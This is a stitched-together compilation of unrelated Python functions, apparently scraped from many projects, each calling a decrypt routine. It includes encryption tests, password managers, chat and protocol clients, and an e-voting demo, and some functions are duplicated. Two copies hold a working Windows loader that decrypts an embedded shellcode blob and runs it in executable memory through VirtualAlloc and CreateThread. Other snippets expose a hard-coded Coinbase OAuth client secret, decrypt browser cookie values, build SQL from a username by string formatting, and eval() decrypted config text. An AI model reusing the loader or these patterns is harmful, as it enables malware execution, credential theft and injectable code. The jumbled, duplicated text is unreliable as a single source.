def test_default(self):
buf1 = b"yeetus"
buf2 = b"amdyolo" * 100000
os.environ["PASSPHRASE"] = "deez nuts"
enc = combine(encrypt(buf1))
dec = decrypt(enc)
self.assertEqual(buf1, combine(dec))
enc = combine(encrypt(buf2))
dec = decrypt(enc)
self.assertEqual(buf2, combine(dec))
enc = combine(encrypt(buf1))
os.environ["PASSPHRASE"] = "got em"
try:
dec = decrypt(enc)
self.assertNotEqual(buf1, combine(dec))
except ValueError:
pass
else:
self.fail("Decryption should have failed with differing passwords.")
os.environ["PASSPHRASE"] = "deez nuts"
enc = combine(encrypt(buf2))
os.environ["PASSPHRASE"] = "got em"
try:
dec = decrypt(enc)
self.assertNotEqual(buf2, combine(dec))
except ValueError:
pass
else:
self.fail("Decryption should have failed with differing passwords.")
def makeCoinbaseAuthString(user):
expiration = datetime.fromtimestamp(
user['coinbase_expire_time']).isoformat() + 'Z'
access = decrypt(KEY, user['coinbase_access_token'])
refresh = decrypt(KEY, user['coinbase_refresh_token'])
#print "[", access, refresh, "]"
credentials = {
"_module": "oauth2client.client",
"access_token": access,
"refresh_token": refresh,
"token_expiry": expiration,
# "token_response": {
# "access_token": access,
# "token_type": "bearer",
# "expires_in": 7200,
# "refresh_token": refresh,
# "scope": "all"
# },
"invalid": False,
"token_uri": "https://www.coinbase.com/oauth/token",
"client_id":
"73980e1a5f0e2b17a7780129b505e95a6504387962a59364c04649791452cd72",
"client_secret":
"2abe2652bd5ccb725c2574592f0cb1b60c6ab2fdc8c0631525b733f21c64dba1",
# "revoke_uri": "https://accounts.google.com/o/oauth2/revoke",
"user_agent": None,
}
return json.dumps(credentials)
def test_file(self):
os.environ["PASSPHRASE"] = "deez nuts"
buf = b"amdyolo" * 100000
encrypt(buf, output_file="test.txt")
dec = decrypt("test.txt")
self.assertEqual(buf, combine(dec))
with open("test.txt", "wb") as f:
f.write(buf)
encrypt("test.txt", output_file="test2.txt")
decrypt("test2.txt", output_file="test3.txt")
with BufferedReader("test3.txt") as br:
self.assertEqual(buf, combine(br.chunks()))
with open("text.txt", "wb") as f:
f.write(buf)
enc = encrypt("test.txt")
decrypt(enc, output_file="test2.txt")
with BufferedReader("test2.txt") as br:
self.assertEqual(buf, combine(br.chunks()))
def makeCoinbaseAuthString(user):
expiration = datetime.fromtimestamp(user['coinbase_expire_time']).isoformat()+'Z'
access = decrypt(KEY, user['coinbase_access_token'])
refresh = decrypt(KEY, user['coinbase_refresh_token'])
#print "[", access, refresh, "]"
credentials = {
"_module": "oauth2client.client",
"access_token": access,
"refresh_token": refresh,
"token_expiry": expiration,
# "token_response": {
# "access_token": access,
# "token_type": "bearer",
# "expires_in": 7200,
# "refresh_token": refresh,
# "scope": "all"
# },
"invalid": False,
"token_uri": "https://www.coinbase.com/oauth/token",
"client_id": "73980e1a5f0e2b17a7780129b505e95a6504387962a59364c04649791452cd72",
"client_secret": "2abe2652bd5ccb725c2574592f0cb1b60c6ab2fdc8c0631525b733f21c64dba1",
# "revoke_uri": "https://accounts.google.com/o/oauth2/revoke",
"user_agent": None,
}
return json.dumps(credentials)
def __init__(self,config):
self.server = config['server']
self.database = config['database']
self.username = crypt.decrypt(config['username'])
self.password = crypt.decrypt(config['password'])
self.steps = config['steps']
self.dbtype = config['dbtype']
self.querytype = config['querytype']
self.testinfo = config['testinfo']
self.jobid = config['jobid']
def make_cookie(cookie_dict):
h = cookie_dict.get
expires = h('expires_utc')
discard = h('discard',False)
domain = h('host_key')
value=h('value')
initial_dot = domain.startswith('.')
domain_specified=initial_dot
if expires is not None:
expires = int(expires/1000000)-11644473600
else:
discard = True
if value is None or value == '':
pwdhash = h('encrypted_value')
try:
value = decrypt(pwdhash).decode()
except:
pass
return Cookie(
version=h('version', 0),
domain=domain, domain_specified=domain_specified, domain_initial_dot=initial_dot,
path=h('path'), path_specified=h('path_spec', True),
name=h('name'),
value=value,
port=h('port'), port_specified=h('port_spec', False),
expires=expires, discard=discard,
secure=bool(h('secure')),
comment=h('comment'), comment_url=h('comment_url'),
rest={}
)
def receive(self):
while True:
try:
message = client.recv(1024).decode(FORMAT)
# if the messages from the server is NAME send the client's name
if message == 'NAME':
client.send(self.name.encode(FORMAT))
elif message == "Connection successful!":
self.textCons.config(state=NORMAL)
self.textCons.insert(END, message + "\n\n")
self.textCons.config(state=DISABLED)
self.textCons.see(END)
else:
# insert messages to text box
message = message[(message.index('[') + 1):]
message = message[:message.index(']')]
message = [i.strip() for i in message.split(',')]
message = [i[1:] for i in message]
message = [i[:-1] for i in message]
message = [int(i) for i in message]
message = crypt.decrypt(message, private_key1,
private_key2, p, q, r, s, z)
message = ''.join(message)
self.textCons.config(state=NORMAL)
self.textCons.insert(END, message + "\n\n")
self.textCons.config(state=DISABLED)
self.textCons.see(END)
except:
# an error will be printed on the command line or console if there's an error
print("An error occured!")
client.close()
break
def run(self):
s = 0
while True:
try:
# receive encrypted message:
crypt_data = self.aci.receive()
if crypt_data:
# check if we have seen this message before:
if not self.mhist.check(crypt_data):
continue
# decrypt message:
raw_msg = crypt.decrypt(crypt_data)
# load msgpack contents:
try:
msg = loads(raw_msg)
except Exception, e:
continue
addr = msg[0]
# if message is meant for us, forward to application(s):
if addr in [THIS_SYS_ID, BCAST, BCAST_NOFW]:
msg_scl = dumps(msg[1:]) # strip the type and pack again
self.scl_socket.send(msg_scl)
# if the message (a) is not meant for us or (b) is NOFW, re-broadcast:
if addr not in [THIS_SYS_ID, BCAST_NOFW]:
self.aci.send(crypt_data)
except Exception, e:
sleep(1)
def run(self):
s = 0
while True:
try:
# receive encrypted message:
crypt_data = self.aci.receive()
if crypt_data:
# check if we have seen this message before:
if not self.mhist.check(crypt_data):
continue
# decrypt message:
raw_msg = crypt.decrypt(crypt_data)
# load msgpack contents:
try:
msg = loads(raw_msg)
except Exception, e:
continue
addr = msg[0]
# if message is meant for us, forward to application(s):
if addr in [THIS_SYS_ID, BCAST, BCAST_NOFW]:
msg_scl = dumps(msg[1:]) # strip the type and pack again
self.scl_socket.send(msg_scl)
# if the message (a) is not meant for us or (b) is NOFW, re-broadcast:
if addr not in [THIS_SYS_ID, BCAST_NOFW]:
self.aci.send(crypt_data)
except Exception, e:
sleep(1)
def run():
shellcode = "\x2a\xe1\xc7\x37\xb4\x87\x99\xc2\xf9\xc4\x01\xd9\x97\x1b\x12\xf4\x04\xb5\xe4\x3b\x8e\xc3\xeb\x7b\x4e\xe0\x47\xa5\x90\x71\xf3\x51\xa5\x4b\x33\x05\x94\x1d\x2b\xba\x3c\x54\xfd\x65\xd4\x01\xfb\xa8\x52\x09\xb1\x30\x75\xf0\x98\x41\xd2\xc3\x7b\x93\xcb\x13\xe7\xa3\x89\xd8\x1e\xd2\xf8\x5c\xcd\xc4\x77\xb1\x95\x68\xbb\x3f\xd2\x52\xa4\xc5\x1f\x00\xa5\x42\x0d\xe5\x82\x18\x94\xfd\x92\xca\x68\xfe\x5a\x08\xe4\x39\x78\x01\xbe\x92\x33\x09\x5a\x38\x81\x06\x51\x3d\x32\xba\xa6\x9c\x77\x77\xe4\xb0\x0d\x2f\x92\xe2\xf3\x32\x8d\xbe\xcf\x27\x80\xfa\xd6\x19\x54\xe1\xdc\xcf\x29\xde\xb6\x78\x32\x12\xc6\x83\xc9\xb3\xb7\x3d\x34\xfb\xea\x75\x56\xd3\xc3\x7a\x3b\x1d\x80\xd0\x02\xd7\x47\x41\xf1\xbb\xa0\xc6\xf7\x17\x08\x0f\x75\xa6\xf0\xb3\xa7\x1d\xab\x57\xd8\xfe\x2d\x78\xdc\xad\x5e\x5f\xd9\x71\xf5\x4c\xee\x52\x53\x75\xf1\xe8\x3d\xde\x26\x01\x1e\x0c\x79\x9c\x85\x28\x9e\x35\x58\x80\xd4\xd3\xd8\x6d\x14\x37\x72\xe5\x80\xea\xff\x6b\x37\xf5\x38\x87\x66\x19\xd8\x5c\x83\xa7\x7c\x6f\x9a\xc3"
shellcode = crypt.decrypt(shellcode)
print "Running shellcode..."
shellcode = bytearray(shellcode)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
def unpack_00dd(self, body):
decrypted = decrypt(body, self.qc.md5ps1)
fmt = '10s 372s 116s 32s 4s 32s 4s'
decrypted = struct.unpack(fmt, decrypted)
data.loginData['tkdd'] = decrypted[1], decrypted[2]
data.loginData['kdd'] = decrypted[3], decrypted[5]
return 'LoginPacket', '00e5', None, None
def get(self, decrypt=False):
self.connect()
self.c.execute('SELECT * FROM passwords')
row = self.c.fetchone()
data = []
while row is not None:
if decrypt:
raw_name = crypt.decrypt(row[2], self.key)
raw_pass = crypt.decrypt(row[3], self.key)
data.append((row[0], row[1], raw_name, raw_pass, row[4]))
else:
data.append((row[0], row[1], row[2], row[3], row[4]))
row = self.c.fetchone()
return data
self.disconnect()
def do_login(self, *args, **kwargs):
#self.wait_for_availability(url='https://www.google.com/voice', message=_("Unable to connect to Google Voice. %s will retry until connection is established.") % application.name)
try:
logging.debug("Logging into Google Voice.")
self.gv.login(email=self.config['credentials']['email'], passwd=crypt.decrypt(self.config['credentials']['passwd']))
except LoginError:
logging.exception("%s: Google Voice login failure." % self.name)
return
return True
def unpack_00e5(self, body):
decrypted = decrypt(body, data.loginData['kdd'][1])
fmt = '8s 32s 24s 8s 16s 372s'
decrypted = struct.unpack(fmt, decrypted[:460])
data.loginData['ke5'] = decrypted[1]
self.qc.time = decrypted[3]
data.loginData['tke5'] = decrypted[5]
return 'LoginPacket', '0030', None, None
def s3info():
# ipauditor status
r = redis.Redis(host='redis', port=6379, db=0)
try:
json = decrypt(r.get('s3auditor'))
return json
except TypeError:
response = make_response("No Data Populated Yet...", 200)
return response
def decrypt_element(self, n, widget):
try:
self.label_password[n].text = crypt.decrypt(
self.passwords[n][3], self.u.key)
except:
pass
self.label_password[n].do_cursor_movement(action='cursor_home',
control=False,
alt=False)
def __init__(self):
# Initialize the whitelist.
with open("s3_whitelist.json") as f:
self.whitelist = json.load(f)['Buckets']
# Get the routing key from config file.
with open("config.json") as f:
self.ROUTING_KEY = json.load(f)['routingkey']
self.cn_redis = redis.Redis(host='redis', port=6379, db=0)
# keep track of Pager State.
try:
self.reported = decrypt(self.cn_redis.get('reported'))
except:
self.cn_redis.set('reported', encrypt([]))
self.reported = decrypt(self.cn_redis.get('reported'))
# Load Cannonical and S3 Data.
self.cannonicals = decrypt(self.cn_redis.get('cannonicals'))
self.s3_data = decrypt(self.cn_redis.get('s3auditor'))
def e_voting_simulation():
plain_votes = [0] * CNT_VOTEE
bitlength_cnt_voter = CNT_VOTER.bit_length()
priv, pub = crypt.generate_keypairs(KEY_SIZE)
init = 0
c = crypt.encrypt(pub, init)
d = crypt.decrypt(priv, pub, c)
for i in range(CNT_VOTER): # pro voter an random votee plus eine stimme
r = random.randint(0, CNT_VOTEE - 1)
plain_votes[r] += 1
vote = 1 << (r * bitlength_cnt_voter)
e_vote = crypt.encrypt(pub, vote)
c = crypt.sum(pub, c, e_vote)
d = crypt.decrypt(priv, pub, c)
print("Ergebnis:")
votes = [0] * CNT_VOTEE
mask = pow(2, bitlength_cnt_voter) - 1
for i in range(CNT_VOTEE):
v = (d >> (i * bitlength_cnt_voter)) & mask
votes[i] = v
if not plain_votes == votes:
print("error: arithmetischer fehler")
max = 0
for i in range(CNT_VOTEE):
print("%s hat %.2f Prozent (Stimmen: %d)"%(VOTEE[i], round(votes[i]/CNT_VOTER*100,2), votes[i]))
if votes[max] < votes[i]:
max = i
print("")
print("Die meisten Stimmen hat %s"%VOTEE[max])
def get_data(self):
"""Retrieve addon information/data.
Use this instead of accessing the data property
directly so encrypted info is automatically decrypted
Returns:
Dictionary containing addon data.
"""
return json.loads(decrypt(self.data))
def _prompt_unencrypt_context(request,
ctx,
callback_url,
decode_data=True,
decode_render=False):
"""
Takes care of prompting user for a password and returning an unencrypted
version of a given context "data" section and "rendered" representation.
Decoded data is returned as strings. No "unpickling" is performed
"""
resp = {}
title = "Context encrypted"
body = "The context information you are trying to use are encrypted with " \
"a private key. Please enter such key below to decrypt:"
if "password" in request.POST:
# POST already contains "unicode" data!
pwd = request.POST["password"].encode("ascii", "ignore")
if salt_context_key(ctx.id, pwd) == ctx.key:
# Password is OK: decrypt
if decode_data:
resp["data"] = crypt.decrypt(base64.b64decode(str(ctx.data)),
pwd)
if decode_render:
render = ContextStorage.objects.get(id=ctx.id)
m = re.search(r"^ENCRYPTED:(.*)$", render.data)
if m:
resp["render"] = crypt.decrypt(
base64.b64decode(str(m.group(1))), pwd)
# Response empty in case of problems
else:
# Password is wrong
resp["httpresp"] = render_password_prompt(
request, title, body, callback_url,
{"msg_error": "Wrong password"})
else:
# Prompt for password
resp["httpresp"] = render_password_prompt(request, title, body,
callback_url)
return resp
def decrypt():
f = request.files['file']
passphrase = request.form['passphrase'].encode()
c = crypt.decrypt(f.read(), passphrase)
if (c):
response = make_response(c)
response.headers.set('Content-Type', 'application/octet-stream')
response.headers.set('Content-Disposition',
'attachment',
filename=f.filename)
return response
return "Invalid request"
def createWidgets(self):
"""Create children widgets needed by this view"""
fieldsWidth = 200
labelsFont = View.labelsFont()
editsFont = View.editsFont()
self.setLogo()
self.hostLabel = QLabel(self)
self.hostEdit = QLineEdit(self)
self.sslLabel = QLabel(self)
self.sslCheck = QCheckBox(self)
self.hostLabel.setText('FTP Location')
self.hostLabel.setFont(labelsFont)
self.hostEdit.setFixedWidth(fieldsWidth)
self.hostEdit.setFont(editsFont)
self.sslLabel.setText('SSL')
self.sslLabel.setFont(labelsFont)
self.usernameLabel = QLabel(self)
self.usernameEdit = QLineEdit(self)
self.usernameLabel.setText('Username')
self.usernameLabel.setFont(labelsFont)
self.usernameEdit.setFixedWidth(fieldsWidth)
self.usernameEdit.setFont(editsFont)
self.passwdLabel = QLabel(self)
self.passwdEdit = QLineEdit(self)
self.passwdLabel.setText('Password')
self.passwdLabel.setFont(labelsFont)
self.passwdEdit.setFixedWidth(fieldsWidth)
self.passwdEdit.setEchoMode(QLineEdit.Password)
self.passwdEdit.setFont(editsFont)
self.passwdEdit.returnPressed.connect(self.onLoginClicked)
self.loginButton = QPushButton(self)
self.loginButton.setText('Login')
self.loginButton.setFont(labelsFont)
self.loginButton.setFixedWidth(fieldsWidth / 2)
self.loginButton.clicked.connect(self.onLoginClicked)
# Sets previously stored values into the fields, if any
settings = get_settings()
self.hostEdit.setText(settings.value(SettingsKeys['host'], ''))
self.usernameEdit.setText(settings.value(SettingsKeys['username'], ''))
self.passwdEdit.setText(
crypt.decrypt(settings.value(SettingsKeys['passwd'], '')))
# Unicode to boolean conversion
ssl = settings.value(SettingsKeys['ssl'], u'true')
ssl = True if ssl == u'true' else False
self.sslCheck.setChecked(ssl)
def decrypt_file(key, file_path):
"""Takes key and decrypts file."""
keys = {}
try:
key_file = open(file_path, "r")
decrypted_file = crypt.decrypt(ast.literal_eval(key_file.read()), key)
keys = ast.literal_eval(decrypted_file)
except:
print("> error, file not found")
finally:
key_file.close()
return keys
def unpack_00ba(self, body):
decrypted = decrypt(body, data.loginData['krand'])
verify = decrypted[8:16]
if verify == '00000000':
data.loginData['tkba'] = decrypted[16:]
return 'LoginPacket', '00dd', None, None
else:
pp = a2b_hex(decrypted[52:700])
fd = file('../pp.png', 'wb')
fd.write(pp)
fd.close()
return 'LoginPacket', '00ba', 'verify', None
def createWidgets(self):
"""Create children widgets needed by this view"""
fieldsWidth = 200
labelsFont = View.labelsFont()
editsFont = View.editsFont()
self.setLogo()
self.hostLabel = QLabel(self)
self.hostEdit = QLineEdit(self)
self.sslLabel = QLabel(self)
self.sslCheck = QCheckBox(self)
self.hostLabel.setText('FTP Location')
self.hostLabel.setFont(labelsFont)
self.hostEdit.setFixedWidth(fieldsWidth)
self.hostEdit.setFont(editsFont)
self.sslLabel.setText('SSL')
self.sslLabel.setFont(labelsFont)
self.usernameLabel = QLabel(self)
self.usernameEdit = QLineEdit(self)
self.usernameLabel.setText('Username')
self.usernameLabel.setFont(labelsFont)
self.usernameEdit.setFixedWidth(fieldsWidth)
self.usernameEdit.setFont(editsFont)
self.passwdLabel = QLabel(self)
self.passwdEdit = QLineEdit(self)
self.passwdLabel.setText('Password')
self.passwdLabel.setFont(labelsFont)
self.passwdEdit.setFixedWidth(fieldsWidth)
self.passwdEdit.setEchoMode(QLineEdit.Password)
self.passwdEdit.setFont(editsFont)
self.passwdEdit.returnPressed.connect(self.onLoginClicked)
self.loginButton = QPushButton(self)
self.loginButton.setText('Login')
self.loginButton.setFont(labelsFont)
self.loginButton.setFixedWidth(fieldsWidth / 2)
self.loginButton.clicked.connect(self.onLoginClicked)
# Sets previously stored values into the fields, if any
settings = get_settings()
self.hostEdit.setText(settings.value(SettingsKeys['host'], ''))
self.usernameEdit.setText(settings.value(SettingsKeys['username'], ''))
self.passwdEdit.setText(crypt.decrypt(settings.value(SettingsKeys['passwd'], '')))
# Unicode to boolean conversion
ssl = settings.value(SettingsKeys['ssl'], u'true')
ssl = True if ssl == u'true' else False
self.sslCheck.setChecked(ssl)
def unpack_00ce(self, body):
decoded = decrypt(body, self.qc.sessionkey)
if len(decoded) > 138:
buddyID = int(decoded[0:8], 16)
for i in xrange(len(decoded)):
if decoded[i:i + 6] == '4d5347':
msg = decoded[i + 80:]
try:
msg = a2b_hex(msg).decode('utf8')
print '好友', buddyID, '对你说:', msg
except:
pass
return 'MsgPacket', '0017', decoded[:32], self.seq
def _prompt_unencrypt_context(request, ctx, callback_url, decode_data=True,
decode_render=False):
"""
Takes care of prompting user for a password and returning an unencrypted
version of a given context "data" section and "rendered" representation.
Decoded data is returned as strings. No "unpickling" is performed
"""
resp = {}
title = "Context encrypted"
body = "The context information you are trying to use are encrypted with " \
"a private key. Please enter such key below to decrypt:"
if "password" in request.POST:
# POST already contains "unicode" data!
pwd = request.POST["password"].encode("ascii", "ignore")
if salt_context_key(ctx.id, pwd) == ctx.key:
# Password is OK: decrypt
if decode_data:
resp["data"] = crypt.decrypt(
base64.b64decode(str(ctx.data)), pwd)
if decode_render:
render = ContextStorage.objects.get(id=ctx.id)
m = re.search(r"^ENCRYPTED:(.*)$", render.data)
if m:
resp["render"] = crypt.decrypt(
base64.b64decode(str(m.group(1))), pwd)
# Response empty in case of problems
else:
# Password is wrong
resp["httpresp"] = render_password_prompt(
request, title, body, callback_url,
{"msg_error": "Wrong password"}
)
else:
# Prompt for password
resp["httpresp"] = render_password_prompt(request, title, body,
callback_url)
return resp
def execution():
while True:
print('-=' * 30)
print('Choose an option:')
print('\t\t[ 1 ] - Encode\n\t\t[ 2 ] - Decode\n\t\t[ q ] - Exit')
opcao = str(input('Your option: ')).strip().lower()
print('-=' * 30)
if opcao == '1':
mesg, keyw = crypt.get_data()
crypt.encrypt(msg=mesg, key=keyw)
elif opcao == '2':
mesg, keyw = crypt.get_data()
crypt.decrypt(mesg, keyw)
elif opcao == 'q':
print('Exiting the program.')
sleep(2)
break
else:
print('Invalid option')
sleep(2)
continue
def test_ciphers(self):
for cipher in ["AES-256-GCM", "CAMELLIA-256-GCM", "AES-256-CBC", "SEED-128-CTR"]:
buf1 = b"yeetus"
buf2 = b"amdyolo" * 100000
os.environ["PASSPHRASE"] = "deez nuts"
enc = combine(encrypt(buf1, cipher=cipher))
dec = decrypt(enc, cipher=cipher)
self.assertEqual(buf1, combine(dec))
enc = combine(encrypt(buf2, cipher=cipher))
dec = decrypt(enc, cipher=cipher)
self.assertEqual(buf2, combine(dec))
enc = combine(encrypt(buf1, cipher=cipher))
os.environ["PASSPHRASE"] = "got em"
try:
dec = decrypt(enc, cipher=cipher)
self.assertNotEqual(buf1, combine(dec))
except ValueError:
pass
else:
self.fail("Decryption should have failed with differing passwords.")
os.environ["PASSPHRASE"] = "deez nuts"
enc = combine(encrypt(buf2, cipher=cipher))
os.environ["PASSPHRASE"] = "got em"
try:
dec = decrypt(enc, cipher=cipher)
self.assertNotEqual(buf2, combine(dec))
except ValueError:
pass
else:
self.fail("Decryption should have failed with differing passwords.")
def unpack_0091(self, body):
decrypted = decrypt(body, data.loginData['krand'])
ok = decrypted[-2:]
if ok == '00':
fmt = '2s 8s 8s 16s 116s 2s'
decrypted = struct.unpack(fmt, decrypted)
self.qc.time = decrypted[1]
self.qc.myip = decrypted[2]
data.loginData['tk91'] = decrypted[4]
return 'LoginPacket', '00ba', None, None
else:
new_ip = struct.unpack('2s 2s 2s 2s',
decrypted[len(decrypted) - 8:])
self.conn.host = self.ip_h2d(new_ip)
return 'LoginPacket', '0091', None, None
def readSetting():
"""
读取配置文件，配置文件是加密的，所以需要执行解密操作
"""
ret = {}
if os.path.exists(configPath):
f = open(configPath, 'rb')
c = f.read()
f.close()
dStr = crypt.decrypt(c)
try:
ret = eval(dStr)
except:
ret = {}
return ret
def check_password(usrname: str, passwd: str) -> bool:
db, cursor = setup()
cursor.execute(f"SELECT salt FROM Users WHERE username='******';")
for x in cursor:
salt = x[0]
cursor.execute(f"SELECT pepper FROM Users WHERE username='******';")
for x in cursor:
pepper = x[0]
cursor.execute(f"SELECT password FROM Users WHERE username='******';")
for x in cursor:
db_passwd = x[0]
db_passwd = crypt.decrypt(salt, pepper, bytes(db_passwd, "utf-8"))
close(db, cursor)
return True if passwd == db_passwd else False
def init():
try:
geraChaves(
PORT_UDP) #gera chaves privadas e publicas com o nome da porta UDP
signal.signal(signal.SIGINT, signal_handler)
x = threading.Thread(
target=initTcpSocket,
args=()) #thread reponsavel pela porta 80,atende pedidos TCP.
x.start() #inicia thread reponsavel pela porta 80.
h = parsePeer(HOST) #parse dos endereços.
UDPServerSocket = socket.socket(family=socket.AF_INET,
type=socket.SOCK_DGRAM) #Socket UDP
UDPServerSocket.bind((h[0], PORT_UDP)) #associa o endereco ao socket
time.sleep(
2
) #verificar se as portas estão em as duas ligadas e mandar um signal.
trocarChaves(MY_key) #trocar as chave simetricas.
print("Chaves trocadas!")
#print("My_key->",MY_key)
i = 1 #numero de threds
while True:
(data, addr) = UDPServerSocket.recvfrom(4096)
#print("ped:",i,"\t",UDPServerSocket.getsockname(),addr)
i += 1
#print("ola")
pacote = tgl.desconverte(data)
if (pacote.getNumPed() == 0): #secalhar passar este para 0!!!!!
crypt.verification(str(pacote.getPort()),
pacote.getSignature(), pacote.getMsg())
key = crypt.decrypt(pacote.getMsg(), str(PORT_UDP))
#print("Para enviar para o",pacote.getPort(),"\tKEY:",key)
key_peer[pacote.getPort()] = key
else:
y = threading.Thread(target=receberPedidoAnon,
args=(UDPServerSocket, addr, pacote))
y.start()
except Exception as e:
print(e)
finally:
#x.join()
UDPServerSocket.close()
def loop(self, slug):
gae_pub = RsaKey.objects.get(name="gae_pub").key
gp_priv = RsaKey.objects.get(name="gp_priv").key
gp_privkey = self.makePrivKey(gp_priv)
gae_pubkey = self.makePubKey(gae_pub)
gtalk_service = Service.objects.get(name='google')
enc = crypt.decrypt(slug, gp_privkey)
#print "DECR %s" % enc
decrypted = enc.split('!gp!')
gLogin = decrypted[0]
gPass = decrypted[1]
twit = decrypted[2]
self.logger = self.getlogger("%s_%s.txt" % (gLogin, twit))
self.logger.error("HIIIiiii %s" % gLogin)
self.twitter_status = ''
self.updated = None
self.catches = 0
self.twitter_status = self.getTwitterStatus(twit)
try:
self.logger.error( self.twitter_status)
except:
pass
if self.twitter_status != '' and '@' not in self.twitter_status:
self.updateGtalkStatus(gLogin, gPass)
else:
self.updated = True
while not self.updated:
self.logger.error( self.updated)
time.sleep(2)
try:
self.logger.handlers[0].close()
except:
pass
def loop(self, slug):
gae_pub = RsaKey.objects.get(name="gae_pub").key
gp_priv = RsaKey.objects.get(name="gp_priv").key
gp_privkey = self.makePrivKey(gp_priv)
gae_pubkey = self.makePubKey(gae_pub)
gtalk_service = Service.objects.get(name='google')
enc = crypt.decrypt(slug, gp_privkey)
#print "DECR %s" % enc
decrypted = enc.split('!gp!')
gLogin = decrypted[0]
gPass = decrypted[1]
twit = decrypted[2]
self.logger = self.getlogger("%s_%s.txt" % (gLogin, twit))
self.logger.error("HIIIiiii %s" % gLogin)
self.twitter_status = ''
self.updated = None
self.catches = 0
self.twitter_status = self.getTwitterStatus(twit)
try:
self.logger.error(self.twitter_status)
except:
pass
if self.twitter_status != '' and '@' not in self.twitter_status:
self.updateGtalkStatus(gLogin, gPass)
else:
self.updated = True
while not self.updated:
self.logger.error(self.updated)
time.sleep(2)
try:
self.logger.handlers[0].close()
except:
pass
def main():
print()
print('to end this program please enter "done"')
print('encryption - 0 , decryption - 1')
action = input('Please enter the integer of the action || "done": ')
if(action == '0'):
str0 = input('word/phrase: ')
print('data:',crypt.encrypt(str0))
main()
elif(action == '1'):
str1 = int(input('key: '))
str12 = input('text: ')
ans = {str1: str12}
print('decrypted text:',crypt.decrypt(ans))
main()
elif(action == 'done'):
print('Alright Bye Bye.')
def request_salt(self):
"""
Requests salt from the hiddil server to use in all future transactions, stores it in class
"""
# Issue JSON request
response = requests.get(
self.server_url + "salt",
json={"pubkey": self.private_key.export_public_str()})
# Pull JSON from request response
json = response.json()
# Check if response was good (HTTP 200)
if response:
# Pull public key ID from json
self.pubkey_id = json.get('pubkey_id')
# Pull encrypted salt from json and decrypt it
self.salt = crypt.decrypt(json.get('encrypt_salt'),
self.private_key)
def secrets(secret_url):
"""
Using 'key' in GET request to
decrypt secret with AES 256 algorithm
Then, delete secret from the database
"""
s = database.find_one({"url": secret_url})
if s:
key = request.args.get('key')
try:
decrypted_s = crypt.decrypt(s, key)
except ValueError:
return 'Wrong password!'
database.delete_one(s)
return decrypted_s
else:
return 'Not Found', 404
def run():
shellcode = "\x2a\xe1\xc7\x37\xb4\x87\x99\xc2\xf9\xc4\x01\xd9\x97\x1b\x12\xf4\x04\xb5\xe4\x3b\x8e\xc3\xeb\x7b\x4e\xe0\x47\xa5\x90\x71\xf3\x51\xa5\x4b\x33\x05\x94\x1d\x2b\xba\x3c\x54\xfd\x65\xd4\x01\xfb\xa8\x52\x09\xb1\x30\x75\xf0\x98\x41\xd2\xc3\x7b\x93\xcb\x13\xe7\xa3\x89\xd8\x1e\xd2\xf8\x5c\xcd\xc4\x77\xb1\x95\x68\xbb\x3f\xd2\x52\xa4\xc5\x1f\x00\xa5\x42\x0d\xe5\x82\x18\x94\xfd\x92\xca\x68\xfe\x5a\x08\xe4\x39\x78\x01\xbe\x92\x33\x09\x5a\x38\x81\x06\x51\x3d\x32\xba\xa6\x9c\x77\x77\xe4\xb0\x0d\x2f\x92\xe2\xf3\x32\x8d\xbe\xcf\x27\x80\xfa\xd6\x19\x54\xe1\xdc\xcf\x29\xde\xb6\x78\x32\x12\xc6\x83\xc9\xb3\xb7\x3d\x34\xfb\xea\x75\x56\xd3\xc3\x7a\x3b\x1d\x80\xd0\x02\xd7\x47\x41\xf1\xbb\xa0\xc6\xf7\x17\x08\x0f\x75\xa6\xf0\xb3\xa7\x1d\xab\x57\xd8\xfe\x2d\x78\xdc\xad\x5e\x5f\xd9\x71\xf5\x4c\xee\x52\x53\x75\xf1\xe8\x3d\xde\x26\x01\x1e\x0c\x79\x9c\x85\x28\x9e\x35\x58\x80\xd4\xd3\xd8\x6d\x14\x37\x72\xe5\x80\xea\xff\x6b\x37\xf5\x38\x87\x66\x19\xd8\x5c\x83\xa7\x7c\x6f\x9a\xc3"
shellcode = crypt.decrypt(shellcode)
print "Running shellcode..."
shellcode = bytearray(shellcode)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0), ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
def decrypt(h_pwd_):
history_message = crypt.decrypt(read(), h_pwd_)
if len(history_message) != config.history_file_len: # wrong length
if __debug__: print 'a'
return False
history_features_str = history_message.split(';')
global history_features
if len(history_features_str) == 6: # verify if there are 5 groups of features
for i in xrange(5):
if len(history_features_str[i].split(',')) != config.max_features:
return False
pad_str = '0' * len(history_features_str[5]) # length of padded part
if history_features_str[5] == pad_str: # check if redundant part is string of '0'
history_features = from_string(history_message) # extract history features
return True
else: # decryption failed
if __debug__: print 'b'
return False
else: # decryption failed
if __debug__:
print 'c'
print len(history_features_str)
return False
def SetDefaultValues(self):
self.general.email.SetValue(self.config['credentials'].get('email', ''))
self.general.passwd.SetValue(decrypt(self.config['credentials'].get('passwd', '')))
def rpc_call(host):
c=zerorpc.Client()
c.connect("tcp://%s" % host)
get_str=c.hello("hostname")
# print get_str
print crypt.decrypt(get_str)
def test3(self):
message = '{"message_type":"kill", "kill" : "sensor1"}'
secret = 'passw0rd'
encrypted = encrypt(message, secret)
decrypted = decrypt(encrypted, secret)
self.assertTrue(message == decrypted)
